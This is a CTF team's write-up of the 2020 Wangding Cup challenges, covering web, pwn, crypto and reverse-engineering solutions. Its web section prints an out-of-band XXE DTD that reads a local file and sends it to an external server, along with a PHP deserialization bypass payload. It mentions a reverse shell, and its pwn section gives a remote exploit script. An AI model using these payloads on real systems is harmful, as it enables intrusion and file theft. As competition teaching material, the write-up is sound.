2020網鼎杯wp_XJUSEC
MISC
簽到
- 點進去是選戰隊圖標
- 全部通過後會讓輸入token
- 然後能在
console
看到flag
WEB
filejava
-
打開題目,查看基本的功能後發現有一個文件下載功能,嘗試穿越目錄發現web.xml
-
再次尋找這幾個servlet的字節碼在classes/cn/abc/servlet/xxx.class
- 將class反編譯之後發現具有xxe漏洞
- xlsx文件以壓縮包方式打開,更改各個文件夾中的xml文件,然後再本地vps監聽端口
<!DOCTYPE data SYSTEM "http://***.***.***.***/no_show_poc.dtd">
<data>&send;</data>
no_show_poc.dtd:
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://***.***.***.***:9999?p=%file;'>">
%all;
- 最後如圖
AreUSerialz
- 打開題目後,直接給出了源碼
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
- 顯而易見的是一個反序列化的題目
FileHandler
類中有寫文件參數和讀文件參數,然後已知已經存在了flag.php
- op爲1時是寫文件,op爲2時是讀文件
- 但是在
__destruct
中,對op進行了過濾 - 可以根據
===
和==
強弱進行繞過 - 設置op是
int
的2 - 然後讀取flag.php(絕對路徑,
cmdline
+讀取/web/config/httpd.conf
得知 - 但是
is_valid()
函數會過濾%00
,而類中的屬性是protected
,但是在php7.1+中,對屬性類型不敏感,所以可以使用public繞過 - 構造payload
<?php
class FileHandler{
public $op;
public $filename;
public $content;
public function __construct()
{
$this->op=2;
$this->filename='/web/html/flag.php';
$this->content='tmp';
}
}
echo serialize(new FileHandler());
- payload:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:18:"/web/html/flag.php";s:7:"content";s:3:"tmp";}
- 讀取到flag
notes
-
用到了undefsage模塊,
-
id,author,raw是我們控制的,符合原型鏈污染的方法,進而利用。
-
最後有bash的命令執行,可以反彈shell,
-
最後查看/flag,得到flag
{9b093016-4f86-41d3-a203-154094bba637}
CRYPTO
boom
第一步求MD5值46e5efe6165a5afb361217446a2dbd01
MD5求解後是en5oy
第二步
第三步
到這裏就可以求出所有解了,但是flag閃的太快,沒辦法只能把程序逆一下了
打開字符串窗口可以看到flag的輸出格式,判斷爲之前的輸入值,所以flag爲
flag{en5oy_746831_89127561}
you raise me up
打開題發現是個python腳本
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
import random
n = 2 ** 512
m = random.randint(2, n-1) | 1
c = pow(m, bytes_to_long(flag), n)
print 'm = ' + str(m)
print 'c = ' + str(c)
# m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
# c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499
# n = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084096
sagemath秒了,2512以bsgs的複雜度就是2256
n = 2 ** 512
m= 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
c=6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499
ZmodN = Zmod(2^512)
m=ZmodN(m)
c=ZmodN(c)
c.log(m)
hex(56006392793405651552924479293096841126763872290794186417054288110043102953612574215902230811593957757)
求出flag的hex
0x666c61677b35663935636139332d313539342d373632642d656430622d6139313339363932636234617d
轉爲str
flag{5f95ca93-1594-762d-ed0b-a9139692cb4a}
PWN
boom1
// 沒研究沒明白233333
- 解題腳本:
from pwn import*
context.clear(terminal = ['xterm', '-e'],arch='amd64',log_level='error')
p = remote('182.92.73.10',24573)
#p = process(r'/root/tmp/game/wangdingbei/pwn/pwn')
payload = '''char *str;char *libc;char *ptr;int main()
{str = "XJU-SEC";n = str - (0x7F8FE6E5C028 - 0x7F8FE6933000);str = n + 6229832 - 3848 + 8;str[0] = 0;str = n + 6229832;ptr = 0xCD0F3 + n;str[0] = (ptr)&0xFF;str[1] = (ptr>>8)&0xFF;str[2] = (ptr>>16)&0xFF;}'''
p.sendline(payload)
p.interactive()
-
分析題目是一個可以運行輸入的C語言解釋器
-
再C代碼中定義的全局變量是位於libc上面的,可以通過計算str指針的偏移量,然後修改變量libc指針的指向,指向libc_base。
-
使ptr指針指向0xcd0F3+libc的基址,斌且之前使__rtld_global+8=0,使0xcdf3可以執行。
-
可以得到flag
RE
signal
IDA打開程序,進入主函數
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+18h] [ebp-1D4h]
__main();
qmemcpy(&v4, &unk_403040, 0x1C8u); //將unk_403040放入v4中
vm_operad(&v4, 114); //主要操作
puts("good,The answer format is:flag {}");
return 0;
}
跟進vm_operad()函數;發現函數對數組進行了一串複雜操作,0x403040是存放指令和數據的地址,每四個字節是一組。對照vm_operad函數人工分析,操作順序。得出邏輯是講輸入處理後與0x403040最後的一些數據作比較。
int __cdecl vm_operad(int *a1, int a2)
{
int result; // eax
char Str[100]; // [esp+13h] [ebp-E5h]
char v4[100]; // [esp+77h] [ebp-81h]
char v5; // [esp+DBh] [ebp-1Dh]
int v6; // [esp+DCh] [ebp-1Ch]
int v7; // [esp+E0h] [ebp-18h]
int v8; // [esp+E4h] [ebp-14h]
int v9; // [esp+E8h] [ebp-10h]
int v10; // [esp+ECh] [ebp-Ch]
v10 = 0;
v9 = 0;
v8 = 0;
v7 = 0;
v6 = 0;
while ( 1 ) //處理過程
{
result = v10;
if ( v10 >= a2 )
return result;
switch ( a1[v10] )
{
case 1:
v4[v7] = v5;
++v10;
++v7;
++v9;
break;
case 2:
v5 = a1[v10 + 1] + Str[v9];
v10 += 2;
break;
case 3:
v5 = Str[v9] - LOBYTE(a1[v10 + 1]);
v10 += 2;
break;
case 4:
v5 = a1[v10 + 1] ^ Str[v9];
v10 += 2;
break;
case 5:
v5 = a1[v10 + 1] * Str[v9];
v10 += 2;
break;
case 6:
++v10;
break;
case 7:
if ( v4[v8] != a1[v10 + 1] )
{
printf("what a shame...");
exit(0);
}
++v8;
v10 += 2;
break;
case 8:
Str[v6] = v5;
++v10;
++v6;
break;
case 10:
read(Str);
++v10;
break;
case 11:
v5 = Str[v9] - 1;
++v10;
break;
case 12:
v5 = Str[v9] + 1;
++v10;
break;
default:
continue;
}
}
}
我們只需要把處理過程再現就可以了
code = [34,63,52,50,114,51,24,0xa7,49,0xf1,40,0x84,0xc1,30,122]
flag = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
flag[0] = (code[0]+5) ^ 16
flag[1] = (code[1]//3) ^ 32
flag[2] = code[2] +1+2
flag[3] = (code[3]^ 4) -1
flag[4] = (code[4]+33) //3
flag[5] = code[5]+1+1
flag[6] = (code[6]+32) ^ 9
flag[7] = (code[7] ^36) - 81
flag[8] = code[8]+1 -1
flag[9] = (code[9]-37) // 2
flag[10] = (code[10] ^ 65) -54
flag[11] = code[11] -32
flag[12] = (code[12] -37) //3
flag[13] = (code[13] +32) ^ 9
flag[14] = code[14] - 1 -65
for i in flag:
print(i)
print("flag{",end='')
for i in flag:
print(chr(i),end='')
print("}")
#flag{757515121f3d478}
jocker
IDA打開題目,發現堆棧不平衡,修復之後還是無法反編譯,估計有些混淆的垃圾代碼
但是一部分可以反編譯
int __cdecl omg(char *a1)
{
int result; // eax
int v2[24]; // [esp+18h] [ebp-80h]
int i; // [esp+78h] [ebp-20h]
int v4; // [esp+7Ch] [ebp-1Ch]
v4 = 1;
qmemcpy(v2, &unk_4030C0, sizeof(v2));
for ( i = 0; i <= 23; ++i )
{
if ( a1[i] != v2[i] )
v4 = 0;
}
if ( v4 == 1 )
result = puts("hahahaha_do_you_find_me?");
else
result = puts("wrong ~~ But seems a little program");
return result;
}
char *__cdecl wrong(char *a1)
{
char *result; // eax
signed int i; // [esp+Ch] [ebp-4h]
for ( i = 0; i <= 23; ++i )
{
if ( i & 1 )
{
result = &a1[i];
a1[i] -= i;
}
else
{
result = &a1[i];
a1[i] ^= i;
}
}
return result;
}
對jocker進行動態調試
可以解出後5位之前的flag
v3 = [
14, 13, 9, 6, 19,
5, 88, 86, 62, 6,
12, 60, 31, 87, 20,
107, 87, 89, 13
]
str1 = "hahahaha_do_you_find_me?"
key1 = ""
for i in range(19):
key1 += chr(v3[i] ^ ord(str1[i]))
print(key1)
#flag{d07abccf8a410c
58與 } 異或的結果是71
猜測剩下的5位數可能都是異或71
遂得到flag
flag{d07abccf8a410cb37a}
bang
apk逆向,使用dex2脫殼可以得到兩個dex文件,反編譯後可以得到用戶名密碼和flag
輸入賬號密碼app也會有flag